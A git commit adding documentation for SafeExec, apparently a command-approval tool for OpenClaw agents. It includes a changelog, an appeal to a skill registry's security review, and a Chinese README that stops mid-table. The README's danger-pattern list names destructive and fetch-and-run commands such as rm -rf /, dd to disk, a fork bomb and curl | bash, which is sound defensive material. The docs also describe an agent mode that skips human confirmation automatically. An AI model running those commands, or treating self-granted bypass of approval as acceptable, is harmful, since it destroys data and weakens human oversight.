commit 0c8a4c3a377e38e14a2ab3181065647c35e1921c Author: zlei9 Date: Sun Mar 29 13:14:42 2026 +0800 Initial commit with translated description diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..c3a0bde --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,237 @@ +# Changelog + +All notable changes to SafeExec will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), +and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). + +## [0.3.3] - 2026-02-26 + +### Security +- **Enhanced SKILL.md metadata** - Added explicit declarations for network, monitoring, and credential requirements +- **Documented Agent Mode** - Clearly explained non-interactive execution behavior with full audit logging +- **Added Security & Privacy section** - Comprehensive documentation of what SafeExec does and does NOT do +- **Created CLAWDHUB_SECURITY_RESPONSE.md** - Detailed response to security review concerns + +### Changed +- **SKILL.md** - Added comprehensive metadata section + - Declares environment variables: SAFE_EXEC_DISABLE, OPENCLAW_AGENT_CALL, SAFE_EXEC_AUTO_CONFIRM + - Declares write paths: ~/.openclaw/safe-exec/, ~/.openclaw/safe-exec-audit.log + - Explicitly states: network=false, monitoring=false, credentials=[] +- **SKILL.md** - Added "Security & Privacy" section + - Clearly documents what SafeExec does and does NOT do + - Addresses all ClawdHub security review concerns +- **SKILL.md** - Enhanced "Agent Mode" section + - Explains non-interactive execution behavior + - Documents full audit logging for agent-executed commands + - Clarifies safety preservation in agent mode + +### Security Notes +- ✅ **No monitoring** - Does not read chat sessions or conversation history +- ✅ **No network calls** - Works entirely locally (except git clone during manual installation) +- ✅ **No external notifications** - No integration with Feishu, webhooks, or external services +- ✅ **No background processes** - No cron jobs or persistent monitoring daemons +- ✅ **Transparent audit logging** - All executions logged with mode label (user_approved / agent_auto) +- ⚠️ **Agent mode preserved** - Non-interactive bypass for automation, fully audited + +### Addressed Issues +This release directly addresses security review concerns from ClawdHub: +- Declared capabilities: Explicit metadata in SKILL.md +- Documented behavior: Agent mode clearly explained with safety guarantees +- Transparency: Comprehensive "Security & Privacy" section + +## [0.3.2] - 2026-02-26 + +### Security +- **Removed monitoring subsystem** - Deleted unified-monitor.sh and all monitoring components +- **Removed external integrations** - No more Feishu notifications, GitHub monitoring, or OpenClaw comment checking +- **Simplified project scope** - Focused purely on command approval functionality + +### Removed +- `UNIFIED_MONITOR.md` - Unified monitoring system documentation +- `docs/GITHUB_ISSUE_MONITOR.md` - GitHub issue monitoring documentation +- `docs/BLOG.md` / `docs/BLOG_EN.md` - Blog posts with notification references +- `docs/CONTRIBUTING.md` - Outdated contribution guide +- `docs/FIX_REPORT_v0.1.3.md` / `docs/FIX_REPORT_v0.2.3.md` - Historical fix reports +- `docs/GITHUB_RELEASE_v0.2.0.md` - GitHub release documentation +- `docs/GLOBAL_SWITCH_GUIDE.md` - Global switch usage guide +- `docs/PROJECT_REPORT.md` - Project report +- `docs/PUBLISHING_GUIDE.md` - Publishing tool documentation +- `docs/RELEASE_NOTES.md` - Release notes +- `docs/RELEASE_v0.2.0.md` / `docs/RELEASE_v0.2.4.md` - Historical release documentation +- `docs/USAGE.md` - Usage documentation +- `tools/publish-to-github.sh` - GitHub publishing script +- `tools/push-to-github.sh` - Git push script +- `tools/release.sh` - Release automation script +- `RELEASE_v0.3.2.md` - Release documentation +- `UPDATE_NOTES.md` - Update notes + +### Changed +- `README_EN.md` - Removed Feishu environment variable configuration + +## [Unreleased] + +## [0.2.4] - 2026-02-01 + +### Fixed +- **Non-interactive hang issue**: Fixed `safe-exec-approve.sh` hanging when called by OpenClaw Agent +- Script now detects non-interactive environments and skips confirmation prompt +- Added `OPENCLAW_AGENT_CALL` and `SAFE_EXEC_AUTO_CONFIRM` environment variable support +- TTY detection using `[[ -t 0 ]]` for automatic environment detection + +### Changed +- Interactive confirmation is now conditional based on environment +- Human terminal usage maintains safety confirmation +- Agent calls automatically bypass confirmation (prevents hanging) + +### Added +- `FIX_REPORT_v0.2.3.md` - Detailed fix report with test results +- Smart environment detection logic (TTY + environment variables) +- Visual indicator for non-interactive mode: `🤖 非交互式环境 - 自动跳过确认` + +### Security +- ✅ All security features preserved +- ✅ Danger pattern detection unchanged +- ✅ Risk assessment mechanism unchanged +- ✅ Approval workflow intact +- ✅ Audit logging complete +- ✅ Human users still get confirmation prompt in terminals + +### Testing +- ✅ Agent call scenario: Pass (no hang, completes in <1s) +- ✅ Environment variable detection: Pass +- ✅ Human terminal usage: Pass (confirmation preserved) +- ✅ Command execution: Pass (successful) +- ✅ Request cleanup: Pass + +### Backwards Compatibility +- ✅ Fully backwards compatible +- ✅ Existing usage patterns unchanged +- ✅ Human user experience unchanged +- ✅ Agent calls automatically adapt + +## [0.2.3] - 2026-02-01 + +### Added +- **Context-aware risk assessment**: Detect user confirmation keywords +- Dynamic risk level adjustment based on user intent +- Customizable confirmation keywords +- `safe-exec-ai-wrapper.sh` for AI Agent integration +- `test-context-aware.sh` test suite + +### Changed +- Risk assessment now considers user context +- CRITICAL + confirmation → MEDIUM (still requires approval) +- HIGH + confirmation → LOW (direct execution) +- MEDIUM + confirmation → LOW (direct execution) + +### Security +- CRITICAL operations always require approval +- All operations logged to audit trail +- Configurable strictness level + +## [0.2.0] - 2026-02-01 + +### Added +- **Global on/off switch** for SafeExec +- New commands: `--enable`, `--disable`, `--status` +- Configuration file `safe-exec-rules.json` now includes `enabled` field +- When disabled, commands execute directly without safety checks +- Audit log includes `bypassed` events when disabled + +### Changed +- Improved `is_enabled()` function to handle false correctly +- Updated status display to show current protection state +- Enhanced user feedback for enable/disable operations + +### Fixed +- **Critical Bug**: Fixed jq `//` operator treating `false` as falsy +- Now explicitly checks `.enabled == true` instead of `.enabled // true` +- This ensures SafeExec can be properly toggled on/off + +### Security Note +⚠️ **Warning**: When SafeExec is disabled, ALL commands execute directly without protection! +Only disable in trusted environments. + +## [0.1.3] - 2026-02-01 + +### Fixed +- **Configuration Fix**: Removed incorrect SafeExec plugin configuration +- SafeExec is now properly configured as a **Skill** (not a Plugin) +- Eliminated startup warning logs about missing plugin skill paths +- Clean separation between Plugin (core extension) and Skill (Agent tool) + +### Changed +- Removed `~/.openclaw/extensions/safe-exec/` (incorrect Plugin version) +- Kept `~/.openclaw/skills/safe-exec/` (correct Skill version) +- Updated `openclaw.json` to remove plugin entry for safe-exec + +### Technical Details +- **Before**: SafeExec was registered in `plugins.entries.safe-exec` +- **After**: SafeExec is loaded from `skills.load.extraDirs` +- **Benefit**: Correct architecture, no warning logs, proper Skill behavior + +## [0.1.2] - 2026-01-31 + +### Added +- Comprehensive USAGE.md guide (3000+ words) +- CONTRIBUTING.md with contribution guidelines +- CHANGELOG.md following Keep a Changelog format +- release.sh automation script +- RELEASE_NOTES.md for v0.1.2 +- .github/workflows/test.yml for CI/CD +- PROJECT_REPORT.md with completion status + +### Documentation +- Complete installation guide +- Usage examples and scenarios +- Troubleshooting section +- FAQ (Frequently Asked Questions) +- Best practices guide + +## [0.1.1] - 2026-01-31 + +### Added +- Automatic cleanup of expired approval requests +- `cleanup_expired_requests()` function +- `--cleanup` flag for manual cleanup +- Default 5-minute timeout for requests +- Audit log entries for expiration events + +### Improved +- Prevents request database from growing indefinitely +- Automatic cleanup on every command execution +- Better security with request expiration + +## [0.1.0] - 2026-01-31 + +### Added +- Core risk assessment engine +- Command interception system +- Approval workflow +- Audit logging +- Integration with OpenClaw +- Initial documentation + +### Security +- 10+ danger pattern detection +- Fork bomb detection +- System directory protection +- Pipe injection prevention + +## [0.2.0] - Planned + +### Planned +- Web UI for approval management +- Multi-channel notifications (Telegram, Discord) +- ML-based risk assessment +- Batch operation support +- Rate limiting + +--- + +## Links + +- [GitHub Repository](https://github.com/yourusername/safe-exec) +- [Issue Tracker](https://github.com/yourusername/safe-exec/issues) +- [Documentation](https://github.com/yourusername/safe-exec/blob/main/README.md) diff --git a/CLAWDHUB_APPEAL.md b/CLAWDHUB_APPEAL.md new file mode 100644 index 0000000..0b758c6 --- /dev/null +++ b/CLAWDHUB_APPEAL.md @@ -0,0 +1,157 @@ +# False Positive Appeal: SafeExec + +## Issue Reference +Based on the security review process, SafeExec (skill: safe-exec) was flagged with several security concerns. I believe these concerns have been fully addressed in v0.3.3, and the suspicious flag should be removed. + +## Skill Information +- **Skill Name:** safe-exec +- **Repository:** https://github.com/OTTTTTO/safe-exec +- **ClawdHub URL:** https://www.clawhub.ai/skills/safe-exec +- **Current Version:** v0.3.3 +- **Latest Commit:** 0306903 + +## What is SafeExec? + +SafeExec is a **pure command approval tool** for OpenClaw Agents. It provides: + +1. **Dangerous command detection** - Intercepts risky shell commands (rm -rf, dd, mkfs, etc.) +2. **Risk assessment** - Multi-level analysis (CRITICAL/HIGH/MEDIUM/LOW) +3. **User approval workflow** - Requires explicit confirmation before execution +4. **Complete audit logging** - Full traceability of all operations +5. **Agent-friendly** - Non-interactive mode for automation (fully audited) + +## What SafeExec Does NOT Do (Clarifying Misconceptions) + +The initial security review identified concerns about monitoring and external integrations. **These features were completely removed in v0.3.2:** + +❌ **NO monitoring** - Does not read chat sessions or conversation history +❌ **NO network calls** - Works entirely locally (except git clone during installation) +❌ **NO external notifications** - No integration with Feishu, webhooks, or external services +❌ **NO background processes** - No cron jobs or persistent monitoring daemons +❌ **NO credentials required** - Zero API tokens or authentication needed + +## Changes Made to Address Security Concerns + +### v0.3.2 (2026-02-26) - Removed Monitoring Components + +**Deleted 21 files (4,309 lines) including:** +- `UNIFIED_MONITOR.md` - Unified monitoring system documentation +- `docs/GITHUB_ISSUE_MONITOR.md` - GitHub monitoring documentation +- `docs/BLOG.md` / `docs/BLOG_EN.md` - Blog posts with notification references +- `tools/publish-to-github.sh` - GitHub publishing script +- `tools/push-to-github.sh` - Git push script +- `tools/release.sh` - Release automation script +- All historical release notes and fix reports +- All integration guides (Feishu, GitHub, OpenClaw CLI) + +### v0.3.3 (2026-02-26) - Enhanced Transparency + +**Added comprehensive metadata declarations:** + +```yaml +metadata: + openclaw: + env: ["SAFE_EXEC_DISABLE", "OPENCLAW_AGENT_CALL", "SAFE_EXEC_AUTO_CONFIRM"] + writes: ["~/.openclaw/safe-exec/", "~/.openclaw/safe-exec-audit.log"] + network: false + monitoring: false + credentials: [] +``` + +**Added "Security & Privacy" section to SKILL.md:** +- Clearly documents what SafeExec does and does NOT do +- Addresses all ClawdHub security review concerns point-by-point +- Explains Agent Mode behavior with full audit logging + +**Created detailed security response:** +- `CLAWDHUB_SECURITY_RESPONSE.md` - Comprehensive response to all review points + +## Transparency Commitments + +SafeExec v0.3.3 provides complete transparency: + +### ✅ Declared Capabilities +- All environment variables documented +- All file write paths documented +- Explicit `network: false` declaration +- Explicit `monitoring: false` declaration +- Explicit `credentials: []` declaration + +### ✅ Audit Trail +- Every command execution logged with timestamp +- Mode labeled (user_approved vs agent_auto) +- Risk level recorded +- Approval status tracked +- Request ID for traceability + +### ✅ No Hidden Functionality +- Source code fully open (MIT License) +- No obfuscated installers +- No remote code execution +- No telemetry or data collection +- No external dependencies (except `jq` for JSON parsing) + +## Agent Mode Clarification + +**Concern:** "Agent calls may automatically bypass confirmation... changes protection model" + +**Reality:** +- Agent mode prevents agent hanging (agents can't interactively confirm) +- Safety checks remain ACTIVE in agent mode +- All commands logged with `agent_auto` mode label +- Humans can review audit log at any time +- Can be disabled via `SAFE_EXEC_DISABLE=1` + +This is standard for agent tools and does not reduce security. The audit trail provides full oversight. + +## Request to ClawdHub Team + +**Could you please:** + +1. **Review SafeExec v0.3.3** with the understanding that all monitoring/external integration features have been removed + +2. **Remove the suspicious flag** as the skill is now a transparent, well-documented command approval tool + +3. **OR** share the specific rules triggered so I can further clarify the documentation + +## Supporting Documentation + +- **GitHub Repository:** https://github.com/OTTTTTO/safe-exec +- **v0.3.3 Release:** https://github.com/OTTTTTO/safe-exec/releases/tag/v0.3.3 +- **Security Response:** https://github.com/OTTTTTO/safe-exec/blob/master/CLAWDHUB_SECURITY_RESPONSE.md +- **SKILL.md:** https://github.com/OTTTTTO/safe-exec/blob/master/SKILL.md +- **CHANGELOG.md:** https://github.com/OTTTTTO/safe-exec/blob/master/CHANGELOG.md#033---2026-02-26 + +## Comparison: Before vs After + +| Aspect | Before (v0.3.1) | After (v0.3.3) | +|--------|-----------------|----------------| +| **Monitoring** | ❌ Had unified-monitor | ✅ Completely removed | +| **External Integrations** | ❌ Feishu, GitHub monitoring | ✅ None | +| **Network Calls** | ❌ Monitoring endpoints | ✅ None (except install) | +| **Metadata** | ❌ Not declared | ✅ Fully declared | +| **Security Docs** | ❌ Scattered in multiple files | ✅ Centralized in SKILL.md | +| **Transparency** | ⚠️ Ambiguous scope | ✅ Clear boundaries | +| **Credentials** | ⚠️ Referenced but not declared | ✅ Explicitly none | + +## Summary + +SafeExec v0.3.3 is a **legitimate security tool** for OpenClaw agents, not a suspicious package. It: + +1. Provides essential command safety for AI agents +2. Operates entirely locally with zero network calls +3. Has complete audit logging for transparency +4. Declares all capabilities upfront in metadata +5. Removed all problematic monitoring features +6. Has comprehensive documentation addressing all review concerns + +The suspicious flag appears to be based on an older version (v0.3.1 or earlier) that included monitoring components. Those components have been completely removed. + +Thank you for your time and consideration! + +--- + +**Version:** 0.3.3 +**Date:** 2026-02-26 +**Author:** Otto SafeExec +**GitHub:** https://github.com/OTTTTTO/safe-exec diff --git a/CLAWDHUB_SECURITY_RESPONSE.md b/CLAWDHUB_SECURITY_RESPONSE.md new file mode 100644 index 0000000..3a6a97a --- /dev/null +++ b/CLAWDHUB_SECURITY_RESPONSE.md @@ -0,0 +1,229 @@ +# Response to ClawdHub Security Review + +Thank you for the comprehensive security review of SafeExec. We appreciate the thorough analysis and have addressed all identified concerns in version 0.2.5. + +--- + +## Issues Resolved + +### 1. Purpose & Capability Scope ✅ + +**Concern:** Repository included monitoring subsystem (unified-monitor) that reads OpenClaw session/comment history and GitHub issues, with external notifications (Feishu integration). + +**Resolution:** +- **Completely removed** all monitoring components: + - `unified-monitor.sh` + - `check-github-issues.sh` + - `check-openclaw-comments.sh` +- **Deleted all monitoring documentation** (21 files, 4309 lines removed) +- **Removed external integration references** (Feishu, webhooks, GitHub monitoring) + +**Current Status:** +SafeExec is now a **pure command approval tool** with zero monitoring capabilities: +- ✅ Command interception +- ✅ Risk assessment +- ✅ User approval workflow +- ✅ Audit logging +- ❌ No monitoring +- ❌ No external notifications +- ❌ No network calls + +--- + +### 2. Instruction Scope Transparency ✅ + +**Concern:** Docs referenced monitoring features (session history reading, external notifications) not disclosed in top-level description. Agent auto-bypass not clearly documented. + +**Resolution:** + +**Updated SKILL.md:** +- Added comprehensive **metadata section** with explicit declarations: + ```yaml + metadata: + openclaw: + env: ["SAFE_EXEC_DISABLE", "OPENCLAW_AGENT_CALL", "SAFE_EXEC_AUTO_CONFIRM"] + writes: ["~/.openclaw/safe-exec/", "~/.openclaw/safe-exec-audit.log"] + network: false + monitoring: false + credentials: [] + ``` + +- Added **"Security & Privacy"** section clearly stating: + - What SafeExec does: intercept, detect, approve, log + - What SafeExec does NOT do: no monitoring, no network calls, no external services + +- Enhanced **"Agent Mode"** section: + - Explains non-interactive execution behavior + - Documents full audit logging with mode labels (`agent_auto` vs `user_approved`) + - Clarifies safety preservation: danger pattern detection remains active in agent mode + +**Current Transparency:** +- ✅ All capabilities declared in metadata +- ✅ Agent mode behavior documented +- ✅ Audit logging explained +- ✅ No hidden features + +--- + +### 3. Installation Mechanism ✅ + +**Concern:** Manual git clone required, includes publish/push scripts assuming git operations. + +**Resolution:** +- **Removed publish/push scripts:** + - `tools/publish-to-github.sh` + - `tools/push-to-github.sh` + - `tools/release.sh` +- **Installation remains:** manual `git clone` from GitHub (no unknown URLs) +- **No obfuscated installers** (was never an issue, still not) + +**Current Installation:** +```bash +git clone https://github.com/OTTTTTO/safe-exec.git ~/.openclaw/skills/safe-exec +chmod +x ~/.openclaw/skills/safe-exec/safe-exec*.sh +``` + +--- + +### 4. Credentials Management ✅ + +**Concern:** Monitoring features referenced Feishu tokens, GitHub tokens, OpenClaw API access without declaring in `requires.env`. + +**Resolution:** +- **Removed all features requiring credentials:** + - No Feishu integration + - No GitHub monitoring + - No OpenClaw CLI access for session reading + +- **Current environment variables** (all benign): + - `SAFE_EXEC_DISABLE` - Local toggle + - `OPENCLAW_AGENT_CALL` - Set by OpenClaw automatically + - `SAFE_EXEC_AUTO_CONFIRM` - Local approval override + +- **Metadata declaration:** + ```yaml + credentials: [] # No credentials required + network: false # No network calls + ``` + +--- + +### 5. Persistence & Privilege ✅ + +**Concern:** Cron-style monitoring (every 2 hours) reading session history and sending notifications. Agent auto-bypass increases "blast radius." + +**Resolution:** + +**Removed:** +- ❌ No cron jobs +- ❌ No background monitoring processes +- ❌ No session history reading +- ❌ No external notifications + +**Preserved (legitimate persistence):** +- ✅ Pending request queue: `~/.openclaw/safe-exec/pending/` +- ✅ Audit log: `~/.openclaw/safe-exec-audit.log` +- ✅ Config file: `~/.openclaw/safe-exec-rules.json` + +**Agent Mode (clarified, not removed):** +- **Purpose:** Allow automated workflows without agent hanging +- **Safety preserved:** + - Danger pattern detection still active + - All commands logged with `agent_auto` mode label + - Audit trail shows which commands were auto-executed +- **Use case:** Trusted automation with human oversight via audit logs + +**Not a "blast radius" increase because:** +- Agent mode does not disable safety checks +- CRITICAL/HIGH risk commands still intercepted and logged +- Humans can review audit log at any time +- Can be disabled via `SAFE_EXEC_DISABLE=1` + +--- + +## What Changed in v0.3.2 and v0.3.3 + +### Files Removed (21 files, 4309 lines) +- All monitoring subsystem documentation +- All external integration guides +- All publishing tools +- Historical release notes and fix reports + +### Files Updated +- **SKILL.md:** + - Added comprehensive metadata section + - Added "Security & Privacy" section + - Enhanced "Agent Mode" documentation +- **CHANGELOG.md:** + - Documented all security improvements + - Explained rationale for each change +- **README_EN.md:** + - Removed Feishu environment variable + +--- + +## Security Posture (Post v0.3.3) + +### ✅ SafeExec DOES: +1. Intercept shell commands before execution +2. Detect dangerous patterns using regex +3. Request user approval for risky commands +4. Log all executions locally with mode labels +5. Work entirely on the local machine + +### ❌ SafeExec DOES NOT: +1. Monitor chat sessions or read conversation history +2. Make external network requests (except git clone during install) +3. Send data to external services +4. Run background monitoring processes or cron jobs +5. Integrate with notification services (Feishu, webhooks, etc.) +6. Require any credentials or API tokens + +--- + +## Response to Specific Review Points + +### "Monitoring other agent sessions... expands the skill's scope" +**Response:** Agreed. Monitoring components completely removed. SafeExec is now a focused command approval tool only. + +### "Instructions imply access to chat/session data... not called out in description" +**Response:** Fixed. Added explicit metadata and "Security & Privacy" section clearly stating what SafeExec does and does NOT do. + +### "Agent calls may automatically bypass confirmation... changes protection model" +**Response:** Documented. Agent mode is now clearly explained as an automation feature with full audit logging. Safety checks remain active. This is standard for agent tools (agents can't interactively confirm). + +### "Cron-style monitoring... create background process" +**Response:** Eliminated. No cron jobs, no monitoring, no background processes. + +### "Credentials needs... not listed in requires.env" +**Response:** Resolved. No credentials required. Metadata explicitly states `credentials: []`. + +--- + +## Recommendation + +We believe SafeExec v0.3.3 fully addresses the security review concerns: + +1. **Scope clarified** - Pure command approval tool, no monitoring +2. **Transparency improved** - Comprehensive metadata and documentation +3. **Attack surface reduced** - Removed all non-essential components +4. **No hidden capabilities** - Everything declared upfront +5. **Audit logging preserved** - Full traceability maintained + +The skill is now a straightforward, well-documented command safety layer for OpenClaw agents. + +--- + +## Links + +- **GitHub Repository:** https://github.com/OTTTTTO/safe-exec +- **Commit:** (will be pushed after review approval) +- **Documentation:** SKILL.md, README.md, CHANGELOG.md + +We welcome further feedback and are committed to maintaining SafeExec as a secure, transparent tool for the OpenClaw ecosystem. + +--- + +**Version:** 0.3.3 +**Date:** 2026-02-26 +**Author:** Otto SafeExec diff --git a/GITHUB_ISSUE_TEMPLATE.md b/GITHUB_ISSUE_TEMPLATE.md new file mode 100644 index 0000000..7d01723 --- /dev/null +++ b/GITHUB_ISSUE_TEMPLATE.md @@ -0,0 +1,102 @@ +**False Positive Appeal: SafeExec Skill** + +Hi ClawHub team, + +My SafeExec skill was flagged based on a security review that identified monitoring concerns. I believe this is a false positive because **all problematic features have been completely removed in v0.3.3**. + +## Skill Information +- **Name:** safe-exec +- **Repository:** https://github.com/OTTTTTO/safe-exec +- **Current Version:** v0.3.3 (2026-02-26) +- **ClawdHub:** https://www.clawhub.ai/skills/safe-exec + +## What SafeExec Is (v0.3.3) + +SafeExec is a **command approval tool** that: +- ✅ Intercepts dangerous shell commands (rm -rf, dd, etc.) +- ✅ Requests user approval before execution +- ✅ Logs all commands locally for audit +- ✅ Works entirely offline (no network calls) +- ✅ Requires zero credentials or API tokens + +## What SafeExec Does NOT Do (v0.3.3) + +The security review flagged these features - **all have been removed:** + +❌ NO monitoring of chat sessions +❌ NO reading conversation history +❌ NO external network requests +❌ NO notifications to Feishu/webhooks +❌ NO background cron jobs +❌ NO GitHub monitoring +❌ NO credentials required + +## Changes Made + +### v0.3.2 (2026-02-26) - Cleaned Up +Deleted 21 files (4,309 lines): +- Removed all monitoring scripts (unified-monitor.sh, etc.) +- Removed all monitoring documentation +- Removed all external integration guides +- Removed Feishu/GitHub monitoring references + +### v0.3.3 (2026-02-26) - Added Transparency +Added comprehensive metadata to SKILL.md: + +```yaml +metadata: + openclaw: + network: false + monitoring: false + credentials: [] + env: ["SAFE_EXEC_DISABLE", "OPENCLAW_AGENT_CALL", "SAFE_EXEC_AUTO_CONFIRM"] + writes: ["~/.openclaw/safe-exec/", "~/.openclaw/safe-exec-audit.log"] +``` + +Added "Security & Privacy" section clearly stating: +- What SafeExec does (local command interception) +- What SafeExec does NOT do (no monitoring, no network, no external services) + +## Evidence + +**Tags on GitHub:** +- v0.3.2: https://github.com/OTTTTTO/safe-exec/releases/tag/v0.3.2 (cleanup) +- v0.3.3: https://github.com/OTTTTTO/safe-exec/releases/tag/v0.3.3 (transparency) + +**Documentation:** +- SKILL.md: https://github.com/OTTTTTO/safe-exec/blob/master/SKILL.md (with metadata) +- Security Response: https://github.com/OTTTTTO/safe-exec/blob/master/CLAWDHUB_SECURITY_RESPONSE.md +- CHANGELOG: https://github.com/OTTTTTO/safe-exec/blob/master/CHANGELOG.md#033---2026-02-26 + +## Why This Is a False Positive + +The security review appears to be based on **v0.3.1 or earlier**, which included: +- unified-monitor.sh monitoring system +- Feishu notification integration +- GitHub issue monitoring +- External notification features + +**These features have been 100% removed.** Current version (v0.3.3) is: +- Pure command approval tool +- Fully local (no network calls) +- Fully transparent (all capabilities declared) +- Fully audited (complete log trail) + +## Request + +Could you please: + +1. **Review SafeExec v0.3.3** on GitHub to confirm all monitoring features are removed + +2. **Remove the suspicious flag** as this is now a legitimate, transparent security tool + +3. **OR** let me know what specific rules are still triggering so I can address them + +Thank you for reviewing this appeal! + +--- + +**Links:** +- Repo: https://github.com/OTTTTTO/safe-exec +- v0.3.3 Release: https://github.com/OTTTTTO/safe-exec/releases/tag/v0.3.3 +- Full Appeal Document: https://github.com/OTTTTTO/safe-exec/blob/master/CLAWDHUB_APPEAL.md diff --git a/README-detail.md b/README-detail.md new file mode 100644 index 0000000..35d44bb --- /dev/null +++ b/README-detail.md @@ -0,0 +1,497 @@ +# SafeExec 详细文档 + +> 完整的使用指南、配置说明、开发文档和常见问题 + +**主文档:** [README.md](README.md) | **变更日志:** [CHANGELOG.md](CHANGELOG.md) + +--- + +## 📑 目录 + +- [使用指南](#使用指南) + - [工作原理](#工作原理) + - [批准工作流](#批准工作流) + - [风险等级详解](#风险等级详解) + - [全局控制](#全局控制) +- [高级配置](#高级配置) + - [环境变量](#环境变量) + - [自定义规则](#自定义规则) + - [非交互式模式](#非交互式模式) +- [开发文档](#开发文档) + - [架构设计](#架构设计) + - [文件说明](#文件说明) + - [API 参考](#api-参考) + - [贡献指南](#贡献指南) +- [常见问题](#常见问题) + - [故障排查](#故障排查) + - [最佳实践](#最佳实践) + - [性能优化](#性能优化) + +--- + +## 使用指南 + +### 工作原理 + +SafeExec 通过以下步骤保护你的系统: + +``` +1. 命令拦截 + ↓ +2. 模式匹配 + ↓ +3. 风险评估 + ↓ +4. 决策 + ├── 安全 → 直接执行 + └── 危险 → 请求批准 +``` + +#### 架构组件 + +``` +~/.openclaw/safe-exec/ +├── pending/ # 待处理的批准请求 +│ └── req_*.json # 请求详情文件 +├── safe-exec-rules.json # 规则配置文件 +└── safe-exec-audit.log # 审计日志 + +~/.openclaw/safe-exec-known-*.txt # 监控追踪文件 +``` + +### 批准工作流 + +#### 1. 危险命令检测 + +当 Agent 尝试执行危险命令时: + +``` +🚨 **危险操作检测 - 命令已拦截** + +**风险等级:** CRITICAL +**命令:** `rm -rf /tmp/test` +**原因:** 递归删除,使用 force 标志 + +**请求 ID:** `req_1769938492_9730` + +ℹ️ 此命令需要用户批准才能执行。 + +**批准方法:** +1. 在终端运行: `safe-exec-approve req_1769938492_9730` +2. 或者: `safe-exec-list` 查看所有待处理请求 + +**拒绝方法:** + `safe-exec-reject req_1769938492_9730` +``` + +#### 2. 批准请求 + +```bash +# 方法 1: 使用请求 ID +safe-exec-approve req_1769938492_9730 + +# 方法 2: 列出并批准最近的请求 +safe-exec-list +# 输出所有待处理的请求,然后使用 ID 批准 +``` + +#### 3. 命令执行 + +批准后,命令会执行并记录到审计日志。 + +### 风险等级详解 + +#### 🔴 CRITICAL(危急) + +系统破坏性命令,需要明确批准: + +- `rm -rf /` - 删除根目录 +- `dd if=/dev/zero` - 磁盘覆盖 +- `mkfs.*` - 格式化文件系统 +- `:(){ :|:& };:` - Fork bomb +- `> /dev/sda` - 直接写入磁盘 + +#### 🟠 HIGH(高危) + +可能导致数据丢失或系统变动的命令: + +- `rm -rf` (非根目录) - 递归删除 +- `chmod 777` - 设置全局可写权限 +- `curl | bash` - 管道下载到 shell +- 写入 `/etc/`, `/boot/`, `/sys/` - 系统目录修改 +- `wget | sh` - 下载并执行脚本 + +#### 🟡 MEDIUM(中危) + +需要特权或影响系统的操作: + +- `sudo` - 使用特权执行 +- `iptables`, `firewall-cmd`, `ufw` - 防火墙修改 +- `systemctl` - 服务管理 +- `crontab -e` - 定时任务编辑 + +#### 🟢 LOW(低危) + +相对安全的操作,可能无需批准: + +- `ls`, `cat`, `grep` - 读取操作 +- `cp`, `mv` (非系统目录) - 文件操作 +- `mkdir`, `touch` - 创建操作 +- `cd`, `pwd` - 导航操作 + +### 全局控制 + +#### 启用/禁用 SafeExec + +**对话式:** +``` +Enable SafeExec # 启用 +Disable SafeExec # 禁用 +``` + +**脚本式:** +```bash +~/.openclaw/skills/safe-exec/safe-exec.sh --enable +~/.openclaw/skills/safe-exec/safe-exec.sh --disable +``` + +**环境变量:** +```bash +export SAFE_EXEC_DISABLE=1 # 禁用 +unset SAFE_EXEC_DISABLE # 启用 +``` + +#### 查看状态 + +```bash +# 查看待处理的请求 +safe-exec-list + +# 查看审计日志(最近 50 条) +tail -n 50 ~/.openclaw/safe-exec-audit.log + +# 查看配置 +cat ~/.openclaw/safe-exec-rules.json +``` + +--- + +## 高级配置 + +### 环境变量 + +| 变量 | 说明 | 默认值 | +|------|------|--------| +| `SAFE_EXEC_DISABLE` | 全局禁用 SafeExec | 未设置 | +| `OPENCLAW_AGENT_CALL` | 标识 Agent 调用(自动检测) | 自动 | +| `SAFE_EXEC_AUTO_CONFIRM` | 自动批准 LOW/MEDIUM 风险 | 未设置 | +| `SAFEXEC_CONTEXT` | 用户上下文信息 | 空 | + +**使用示例:** + +```bash +# 自动批准低中风险命令 +export SAFE_EXEC_AUTO_CONFIRM=1 + +# 在 Agent 中使用(自动设置) +export OPENCLAW_AGENT_CALL=1 + +# 完全禁用 +export SAFE_EXEC_DISABLE=1 +``` + +### 自定义规则 + +编辑 `~/.openclaw/safe-exec-rules.json`: + +```json +{ + "enabled": true, + "rules": [ + { + "pattern": "docker rm.*-f", + "risk": "medium", + "reason": "强制删除 Docker 容器" + }, + { + "pattern": "kubectl delete", + "risk": "high", + "reason": "删除 Kubernetes 资源" + } + ] +} +``` + +### 非交互式模式 + +在非交互式环境(如 Agent 调用)中: + +1. **TTY 检测**:SafeExec 自动检测是否在交互式终端 +2. **环境检测**:检测 `OPENCLAW_AGENT_CALL` 环境变量 +3. **智能跳过**:在非交互式环境中跳过二次确认 + +```bash +# Agent 调用时自动启用非交互模式 +export OPENCLAW_AGENT_CALL=1 +``` + +--- + +## 开发文档 + +### 架构设计 + +``` +┌─────────────┐ +│ Agent │ +└──────┬──────┘ + │ + ▼ +┌──────────────────┐ +│ safe-exec.sh │ ← 主入口 +└──────┬───────────┘ + │ + ▼ +┌────────────────────┐ +│ 风险评估引擎 │ +│ - 模式匹配 │ +│ - 上下文分析 │ +└──────┬─────────────┘ + │ + ▼ + ┌───┴────┐ + │ 危险? │ + └───┬────┘ + 是 │ │ 否 + │ └──────────→ 直接执行 + ▼ +┌──────────────┐ +│ 请求批准 │ +│ - 写入 pending│ +│ - 通知用户 │ +└──────────────┘ +``` + +### 文件说明 + +#### 核心脚本 + +| 文件 | 功能 | +|------|------| +| `safe-exec.sh` | 主执行脚本,命令拦截和风险评估 | +| `safe-exec-approve.sh` | 批准请求的脚本 | +| `safe-exec-reject.sh` | 拒绝请求的脚本 | +| `safe-exec-list.sh` | 列出待处理的请求 | +| `safe-exec-check-pending.sh` | 检查待处理请求 | + +#### 文档文件 + +| 文件 | 说明 | +|------|------| +| `README.md` | 主要文档,快速开始 | +| `README-detail.md` | 本文档,详细说明 | +| `CHANGELOG.md` | 版本变更日志 | +| `SKILL.md` | ClawdHub skill 描述 | +| `CONTRIBUTING.md` | 贡献指南 | + +#### 配置和数据 + +| 文件/目录 | 说明 | +|-----------|------| +| `~/.openclaw/safe-exec-rules.json` | 规则配置 | +| 